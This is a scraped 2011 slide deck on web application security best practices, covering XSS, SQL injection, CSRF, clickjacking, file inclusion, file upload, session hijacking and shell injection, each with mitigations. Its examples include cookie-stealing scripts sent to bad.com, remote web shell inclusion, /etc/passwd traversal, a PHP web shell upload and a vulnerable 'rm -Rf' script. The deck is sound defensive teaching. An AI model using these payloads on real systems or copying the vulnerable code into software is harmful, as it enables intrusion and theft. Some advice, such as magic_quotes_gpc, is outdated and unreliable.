BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

32,248 views
32,052 views

Published on

"Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on
top 10 high level vulnerabilities.

Web developers work in different ways
using their custom libraries and
intruder prevention systems and now
we will see what they should do and
should not do based on best practices."

- Samvel Gevorgyan

[ Presentation on Scribd ]
http://www.scribd.com/doc/47157267

Published in: Education, Technology
1 Comment
23 Likes
Statistics
Notes
No Downloads
Views
Total views
32,248
On SlideShare
0
From Embeds
0
Number of Embeds
1,466
Actions
Shares
0
Downloads
1,281
Comments
1
Likes
23
Embeds 0
No embeds

No notes for slide
  • “If you keep your window open, everyone can see you have a meeting in your room. So the best way to keep your privacy is keeping your windows closed.” –Samvel Gevorgyan
  • “A clever person solves a problem. A wise person avoids it.” -Albert Einstein
  • BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

    1. 1. WEB APPLICATION SECURITY BEST PRACTICES OF 2011 Copyright 2011 © CYBER GATES Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License
    2. 2. OVERVIEW Web Application Security is a vast topic and time is not enough to cover all kind of malicious attacks and techniques for avoiding them, so now we will focus on top 10 high level vulnerabilities. Web developers work in different ways using their custom libraries and intruder prevention systems and now we will see what they should do and should not do based on best practices.
    3. 3. CONTENT 1. Overview 2. Statistics 2.1. Statistics of vulnerabilities 2.2. Statistics of risk levels 3. Top 10 high level vulnerabilities 3.1. Cross-Site Scripting 3.2. Information Leakage 3.3. SQL Injection 3.4. Cross-Site Request Forgery 3.5. ClickJacking 3.6. Local/Remote File Inclusion
    4. 4. 3.7. Unrestricted File Uploads 3.8. Phishing 3.9. Session Hijacking 3.10. Shell Injection 4. Cross-Site Scripting 4.1. Defination 4.2. Types 4.2.1. Non-persistent 4.2.2. Persistent 4.3. Non-persistent 4.4. Persistent 4.5. Common targets 4.6. Potentially Dangerous HTML elements
    5. 5. 4.7. Best Solution 5. Information Leakage 5.1. Defination 5.2. Common reasons 5.2.1. Directory listing misconfiguration 5.2.2. Unproper error handling 5.2.3. Unproper filetype handling 5.2.4. Sensetive HTML comments 5.3. Directory listing misconfiguration 5.4. Unproper error handling 5.5. Unproper filetype handling 5.6. Sensetive HTML comments
    6. 6. 5.7. Best Solution 6. SQL Injection 6.1. Defination 6.2. Types 6.2.1. Normal SQL Injection 6.2.2. Blind SQL Injection 6.3. Normal SQL Injection 6.4. Blind SQL Injection 6.5. Solutions 6.6. Best Solution 7. Cross-Site Request Forgery 7.1. Defination 7.2. Useless defenses
    7. 7. 7.3. Solutions 7.4. Best Solution 8. ClickJacking 8.1. Defination 8.2. FrameKillers 8.3. FrameKiller killers 8.4. Best Solution 9. Local/Remote File Inclusion 9.1. Defination 9.2. Types 9.2.1. Local File Inclusion 9.2.2. Remote File Inclusion 9.3. Local File Inclusion
    8. 8. 9.4. Remote File Inclusion 9.5. Common exploits/requests 9.6. Common methods of attack 9.7. Potentially dangerous PHP functons 9.8. Best Solution 10. Unrestricted File Uploads 10.1. Defination 10.2. Common mistakes 10.3. Best Solution 11. Phishing 11.1. Defination 11.2. Best Solution 12. Session Hijacking
    9. 9. 12.1. Defination 12.2. Best Solution 13. Shell Injection 13.1. Defination 13.2. Potentially dangerous PHP functions 13.3. Best Solution 14. Special thanks 15. Contact information 16. References
    10. 10. STATISTICS OF VULNERABILITIES Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    11. 11. STATISTICS OF RISK LEVELS Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
    12. 12. TOP 10 HIGH LEVEL VULNERABILITIES 01. Cross-Site Scripting (XSS) [2005] 02. Information leakage 03. SQL Injection [~2005] 04. Cross-Site Request Forgery (CSRF) [1990s] 05. ClickJacking [J.Grossman and R.Hansen - 2008] 06. Local/Remote File Inclusion 07. Unrestricted File Upload 08. Phishing [1987, 1996] 09. Session Hijacking [early 2000s] 10. Shell injection
    13. 13. CROSS-SITE SCRIPTING • DESCRIPTION: Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code(Javascript, VBScript, etc.) into a vulnerable webpage. • EXAMPLE: http://site.com/search.php?q=<script>alert( “XSS”)</script>
    14. 14. CROSS-SITE SCRIPTING • TYPES: 1. Non-Persistent 2. Persistent 1.Non-Persistent: In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.
    15. 15. CROSS-SITE SCRIPTING Non-Persistent EXAMPLE: http://www.site.com/viewtopic.php?id=4"> <script>document.location="http://bad.com /logger.php?cookie="+document.cookie;</sc ript> OR http://www.site.com/viewtopic.php?id=4”> <script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>
    16. 16. CROSS-SITE SCRIPTING 2.Persistent: In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data. Common targets are: • Comments • Chat messages • E-mail messages • Wall posts, etc.
    17. 17. CROSS-SITE SCRIPTING Persistent EXAMPLE:
    18. 18. CROSS-SITE SCRIPTING Persistent Comment in raw format: and I like the way this website developers work..hahaha :D :D <SCRIPT/XSS SRC="http://bad.com/xss.js"> </SCRIPT>
    19. 19. CROSS-SITE SCRIPTING Potentially Dangerous HTML elemets: src, href, lowsrc, xmlns, style, etc. TAGS•<applet> •<body> •<embed> •<frame> •<script> •<frameset> •<html> •<iframe> •<img> •<style> •<layer> •<ilayer> •<meta> •<object> ,etc. ATTRIBUTES
    20. 20. CROSS-SITE SCRIPTING Potentially Dangerous HTML events: •Onblur •Onchange •Onclick •Ondrag •Onerror •Onfocus •Onkeypress •Onkeyup •Onload •Onmouseover •Onmousemove •Onmove •Onresize •Onselectstart •Onselect •Onsubmit •Onunload •Onscroll, etc. *all HTML events
    21. 21. CROSS-SITE SCRIPTING SOLUTIONS: • PHP function strip_tags() • PHP Input Filter • PHP libraries: • HTML_Safe • htmLawed • kses • Safe HTML Checker, etc. Input sanitization • PHP function htmlentities() Output sanitization
    22. 22. BEST SOLUTION OWASP HTML Purifier • SAFE HTML Purifier defeats XSS with an audited whitelist • CLEAN HTML Purifier ensures standards-compliant output • OPEN HTML Purifier is open-source and highly customizable
    23. 23. BEST SOLUTION COMPARISON: Source: www.htmlpurifier.org/comparison
    24. 24. BEST SOLUTION COMPARISON: Source: www.htmlpurifier.org/comparison
    25. 25. INFORMATION LEAKAGE • DESCRIPTION: Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. • EXAMPLE: Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20
    26. 26. INFORMATION LEAKAGE • CAUSES OF: 1. Directory listing misconfiguration 2. Unproper error handling 3. Unproper filetype handling 4. Sensitive HTML comments, etc. 1.Directory listing misconfiguration: Leaving directory listing enabled allows the attacker to read the list of all files in a directory.
    27. 27. INFORMATION LEAKAGE • EXAMPLE: http://www.site.com/admin/ Directory listing misconfiguration
    28. 28. INFORMATION LEAKAGE 2.Unproper error handling: Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker. • EXAMPLE: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81
    29. 29. INFORMATION LEAKAGE 3.Unproper filetype handling: Unproper filetype handling allows your important files to be readable by the attacker. • EXAMPLE: • sql_backup.tar.gz • memberlist.xml • phpinfo.html • dbClass.inc • Login.php.bkp
    30. 30. INFORMATION LEAKAGE • EXAMPLE: dbClass.inc … private $host = "localhost"; private $usr = “root“; private $pwd = “i7kT0w“; public $db = "brav_new"; public function Connect(){ … } … Unproper filetype handling
    31. 31. INFORMATION LEAKAGE 4. Sensitive HTML comments: Notes left by web developers may content important information which will cause of the information leakage. • EXAMPLE: <form enctype="multipart/form-data" action="upload.php" method="POST"> <!--check for filetypes php, cgi, pl, bat, exe, dll, reg--> <input name="upload_file" type="file" /> …
    32. 32. BEST SOLUTION Directory listing misconfiguration A. put a blank file named index.html in that directory. B. put a file named .htaccess in that directory consisting of only this line: Options –indexes NOTE: all sub-directories of that directory will also get their directory listings turned off.
    33. 33. BEST SOLUTION Unproper error handling A. The following configurations should be done in php.ini file: • error_reporting = E_ALL • display_errors = Off • log_errors = On • error_log = path/PHP_errors.log //any file in which the web server has write privileges.
    34. 34. BEST SOLUTION Unproper error handling B. Create an .htaccess file in public_html directory with the following lines: php_flag display_errors off php_flag log_errors on php_value error_log path/PHP_errors.log <Files path/PHP_errors.log> Order allow,deny Deny from all Satisfy All </Files
    35. 35. BEST SOLUTION Unproper filetype handling A. Don’t keep your important files with the following extentions in your public web directory if you don’t link to them in the website: • Compressed files(*.zip, *.rar, *.tar.gz, etc.) • Database files(*.sql, *.cvs, *.xml, *.xls, etc.) • Unknown files(*.inc, *.copy, *.bkp, etc.)
    36. 36. BEST SOLUTION Unproper filetype handling B. If you have a reason to keep those files in your web public directory, create an .htaccess file in that directory with the following lines of code: <Files ~ ".(inc|sql)$"> order allow,deny deny from all </Files>
    37. 37. BEST SOLUTION Sensitive HTML comments A. No sensetive HTML comment must be used in a website as every user will be able to view the webpage source code.
    38. 38. SQL INJECTION • DESCRIPTION: This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file. • EXAMPLE: http://site.com/product.php?id=4+AND+1=2 +UNION+SELECT+0,database(),1,2+--
    39. 39. SQL INJECTION • TYPES: 1. Normal 2. Blind 1.Normal: In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.
    40. 40. SQL INJECTION • EXAMPLE: http://site.com/product.php?id=1348+AND+1 =2+union+select+1,2,user(),database(), 5,version(),7+-- Normal SQL Injection
    41. 41. SQL INJECTION 2.Blind: This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response. • EXAMPLE: http://site.com/view.php?page=10+ and+substring(@@version,1,1)=5+--
    42. 42. SQL INJECTION • PHP.ini configuration • magic_quotes_gpc = on • PHP functions • filter_var() • mysql_real_escape_string() • sprintf() • Put variables into the quotes(e.g: ‘$id’) • Assign min privilages for mysql users SOLUTIONS:
    43. 43. BEST SOLUTION GreenSQL open source database firewall • Activity monitoring and audit • User rights management • Real-time database protection • Intrusion preventation(IPS) • Database caching • Encrypted comunication over SSL • Virtual patching • Reporting
    44. 44. BEST SOLUTION GreenSQL open source database firewall Source: www.greensql.net
    45. 45. CROSS-SITE REQUEST FORGERY • DESCRIPTION: This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users. • EXAMPLE: <img src=“http://site.com/share.php?url=http:// bad.com” style=“display:none” />
    46. 46. CROSS-SITE REQUEST FORGERY EXAMPLE: <div style=“display:none”> <iframe name=“hidden”></iframe> <form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”> <input type=“text” name=“message” value=“I like www.bad.com” /> <input type=“submit” /> </form> <script>document.Form.submit();</script> </div>
    47. 47. CROSS-SITE REQUEST FORGERY • USELESS DEFENSES: • Only accept POST Stops simple link-based attacks (IMG, frames, etc.) But hidden POST requests can be created with frames, scripts, etc. • Referer checking Some users prohibit referers, so you can’t just require referer headers Techniques to selectively create HTTP request without referers exist • Requiring multi-step transactions CSRF attack can perform each step in order
    48. 48. • CAPTHCA systems This is a type of challenge- response test used in computing to ensure that the response is not generated by a computer. • One-time tokens Unlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition. SOLUTIONS: CROSS-SITE REQUEST FORGERY
    49. 49. BEST SOLUTION OWASP CSRFGuard Add Token to HTML User (Browser) Business Processing OWASP CSRFGuard Verify Token 1. Add token with regex 2. Add token with HTML parser 3. Add token in browser with Javascript • Adds token to: – href attribute – src attribute – hidden field in all forms • Actions: – Log – Invalidate – Redirect Source: www.owasp.org/index.php/CSRFGuard
    50. 50. CLICKJACKING • DESCRIPTION: ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css. • EXAMPLE: <div style="position:fixed; width:100%; height:100%; z-index:999;" onclick="alert(‘ClickJacked');"></div>
    51. 51. CLICKJACKING • EXAMPLE: <style> iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */ -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 350px; left: 200px; z-index: 1; width: 100px; } </style> <h1>BEST GAME EVER!</1> <button>PLAY!</button> <iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>
    52. 52. CLICKJACKING EXAMPLE:
    53. 53. CLICKJACKING FrameKiller(frame busting) • Defination: Frame killers or frame busting is used to defend against clickjacking attacks. • Example: if (top.location != location){ top.location = self.location; }
    54. 54. CLICKJACKING • Conditional statement if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self. parent.frames.length!=0)) Common FrameKillers
    55. 55. CLICKJACKING top.location = self.location top.location.href = document.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location.replace(document.location) top.location.replace('URL') top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location Common FrameKillers • Counter-action statement
    56. 56. CLICKJACKING • Double framing <iframe src="second.html"></iframe> second.html <iframe src="http://www.site.com"></iframe> • Using onBeforeUnload event <script> window.onbeforeunload=function(){ return “do you want to leave this page?“; } </script> <iframe src="http://www.site.com"></iframe> FrameKiller killers
    57. 57. CLICKJACKING • onBeforeUnload & 204 Flushing var prevent bust = 0 window.onbeforeunload=function(){ killbust++ } setInterval(function(){ if(killbust > 0){ killbust = 2; window.top.location = 'http://no-content-204.com' } }, 1); <iframe src="http://www.victim.com"></iframe> • etc. FrameKiller killers
    58. 58. BEST SOLUTION • FrameKiller(frame busting): <style> html{ display : none; } </style> <script> if( self == top ) { document.documentElement.style.display='block'; } else { top.location = self.location; } </script> • OWASP CSRFGuard IMPORTANT: Unfortunately, there is no script which would protect your web application against ClickJacking, however above mentioned is the best solution that we have now.
    59. 59. FILE INCLUSION • DESCRIPTION: This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage. • EXAMPLE: http://site.com/view.php?file=../../../.. /../../../../../../../../../../etc/passwd%00
    60. 60. FILE INCLUSION • TYPES: 1. Local 2. Remote 1.Local File Inclusion: This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.
    61. 61. FILE INCLUSION • EXAMPLE: http://site.com/include.php?file=../../.. /../../../../../../../../../../etc/passwd%00 root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent LOCAL FILE INCLUSION
    62. 62. FILE INCLUSION 2.Remote File Inclusion: Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one. Main goals: • Remote code execution • Remote root kit installation and complete system compromise • etc.
    63. 63. FILE INCLUSION • EXAMPLE: http://site.com/include.php?file= http://bad.com/c99_shell.php&act =ls&dir=%2Fvar REMOTE FILE INCLUSION
    64. 64. FILE INCLUSION VULNERABLE PHP CODES • <?php include($_GET['file']); ?> • <?php include($_GET['file'].".htm"); ?> • <?php include("includes/".$_GET['file']); ?> • <?php include("includes/".$_GET['file'].".htm"); ?> • etc.
    65. 65. FILE INCLUSION COMMON EXPLOITS/REQUESTS ?file=../../../../../../../../../etc/passwd ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../etc/passwd%00 ?file=../../../../../../../../../var/www/accounts/%00 ?file=http://bad.com/xss.php?xss=phpcode ?file=http://bad.com/shell.txt ?file=data://text/plain;base64,SU5KRUNURUQ= ?file=../../../../../../../../../etc/passwd......... ?file=../../../../../../../../../etc/passwd…………………..… etc.
    66. 66. FILE INCLUSION COMMON METHODS OF ATTACK • Hostile data being uploaded to session files, log data, and via image uploads • Using compression or audio streams, such as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled) • Using PHP wrappers, such as php://input • Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygp Oz8+ • etc.
    67. 67. FILE INCLUSION • include()/include_once() • require()/require_once() • file_get_contents() • fopen() • file() • copy() • unlink() • upload_tmp_dir() • move_uploaded_file() • imagecreatefromXXX() POTENTIALLY DANGEROUS PHP FUNCTIONS
    68. 68. BEST SOLUTION • Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:.)(?!.))|w)+$/) • Modify the php.ini configuration file: register_globals = Off magic_quotes_gpc = On allow_url_fopen = Off allow_url_include = Off • Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input
    69. 69. UNRESTRICTED FILE UPLOAD • DESCRIPTION: This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server. • EXAMPLE: $usrFile = $_FILES[‘userfile’][‘name’]; $uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder)) { echo “File has been successfully uploaded.“; } else{ echo “Error. Please try again!"; }
    70. 70. UNRESTRICTED FILE UPLOAD POST /upload1.php HTTP/1.1 … Content-Type: multipart/form-data; boundary=xYzZY --xYzZY Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: text/plain <?php system($_GET['command']); ?> --xYzZY— HTTP/1.1 200 OK … File has been successfully uploaded. EXAMPLE:
    71. 71. • Using blacklist for file extensions Checking only for *.php,*.cgi,..,*.exe, etc. extentions • Checking only the mime type Checking only the content of $_FILES[‘file’][‘type’] • Unproper check of double extensions Unproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc. • Checking only the image header Relying only on PHP functions such as getimagesize() • Checking filetype in filename Checking content of the filename after the last dot(.) • etc. COMMON MISTAKES: UNRESTRICTED FILE UPLOAD
    72. 72. BEST SOLUTION • Define an .htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks. deny from all <Files ~ "^w+.(gif|jpe?g|png)$"> order deny,allow allow from all </Files>
    73. 73. BEST SOLUTION • Prevent overwriting of existing files (to prevent the .htaccess overwrite attack). • Create a list of accepted mime-types (map extensions from those mime types). • Generate a random file name and add the previously generated extension. • Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server- side and client-side validation implemented.
    74. 74. PHISHING • DESCRIPTION: Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page. • EXAMPLE: http://www.qooqle.com/accounts/Ser viceLogin?service=mail
    75. 75. PHISHING EXAMPLE:
    76. 76. BEST SOLUTION • Use HTTPS instead of HTTP The use of HTTPS is that user may see the details of the domain owner in the SSL certificate information. • Use short URL addresses for login pages Use short URLs so that users could easily recognize login page address. • Use Yahoo! Sign-in Seal like system Sign-In Seal is a unique identifier chose by the user. This system stores the user's unique identifier in the cookie and that cookie is shared between local web browsers using Shared Object system provided by Adobe Flash Player. It is not associated with the user’s login id, it is associated with the user’s machine id.
    77. 77. SESSION HIJACKING • DESCRIPTION: This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID). • EXAMPLE: http://wg180.site.com/dk;jsessionid=0 754aff827cfe9f7db7f48e7018ed1e6.w g180?st.cmd=userMain&tkn=8809
    78. 78. SESSION HIJACKING • EXAMPLE: http://wg180.site.com/dk;jsessionid= 0754aff827cfe9f7db7f48e7018ed1e6. wg180?st.cmd=userMain&tkn=8809
    79. 79. BEST SOLUTION • Store SID in HTTP cookies To avoid accepting SIDs from GET and POST requests, the following modification should be done in php.ini configuration file: session.use_cookies = 1 session.use_only_cookies = 1 • Regenerate SID on each user request Put session_regenerate_id(true); with this parameter after the session_start() function call • Accept only SIDs generated by your server Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been created by your web server
    80. 80. BEST SOLUTION • Check for referrer, user-agent and IP address All these three elements can be manipulated, but it is a good habit to check them before accepting any data from a user side • Destroy old SIDs If user has SID which hasn’t been accessed for more than 10 minutes, destroy it • Comletely distroy the session on user logout This kind of logout system may be used to completely distroy all the session data if (isset($_GET['LOGOUT'])){ session_unset(); session_destroy(); $_SESSION = array(); }
    81. 81. SHELL INJECTION • DESCRIPTION: Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server. • EXAMPLE: http://site.com/manage.php?action=id
    82. 82. SHELL INJECTION • EXAMPLE: http://site.com/delete.php?file=/ <?php $file = $_GET[‘file’]; echo 'erasing ' . $file . ‘<br />’; system(“rm -Rf $file”) ; echo ‘done‘; ?> delete.php
    83. 83. • shell_exec() • exec() • `` (backticks) • system() • passthru() • eval() • popen() • curl_exec() • curl_multi_exec() • show_source() • proc_open() • parse_ini_file() • etc. POTENTIALLY DANGEROUS PHP FUNCTIONS SHELL INJECTION
    84. 84. BEST SOLUTION • Disable all the potentially dangerous PHP functions You should disable all the potentially dangerous PHP functions in php.ini configuration file which you don’t use: disable_functions=system,exec,etc. • Allow only whitelisted commands to be used You may have a list of non-dangerous commands which will be allowed • Use PHP built-in function to escape the user input Use functions such as escapeshellarg() and escapeshellcmd() to escape the user input.
    85. 85. THANK YOU!! SPECIAL THANKS FOR KIND SUPPORT: • MANU ZACHARIA MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEH Certified ISO 27001:2005 LA • ROHIT SRIVASTWA Founder, ClubHack • C-DAC ACTS acts.cdac.in
    86. 86. CONTACTS • www.cybergates.am Corporate website • www.twitter.com/CyberGatesLLC Company profile on Twitter • www.facebook.com/CyberGates.LLC Company profile on Facebook • www.linkedin.com/company/CyberGates-LLC Company profile on LinkedIn • www.vimeo.com/CyberGates Company channel on Vimeo
    87. 87. REFERENCES • Statistics http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html • Cross-Site Scripting http://en.wikipedia.org/wiki/Cross-site_scripting http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms • Information Leakage http://projects.webappsec.org/w/page/13246936/Information-Leakage http://phpsec.org/projects/guide/1.html • SQL Injection http://en.wikipedia.org/wiki/SQL_injection http://www.darkreading.com/database-security/167901020/security/application- security/227300073/index.html http://websec.wordpress.com/category/sqli/ • Cross-Site Request forgery http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
    88. 88. REFERENCES • ClickJacking http://en.wikipedia.org/wiki/Framekiller http://seclab.stanford.edu/websec/framebusting/framebust.pdf • File Inclusion http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ http://www.madirish.net/?article=427 • Unrestricted File Upload http://www.acunetix.com/websitesecurity/upload-forms-threat.htm • Phishing http://en.wikipedia.org/wiki/Phishing http://security.yahoo.com/article.html?aid=2006102507 • Session Hijacking http://en.wikipedia.org/wiki/Session_fixation • Shell Injection http://en.wikipedia.org/wiki/Code_injection#Shell_injection

    ×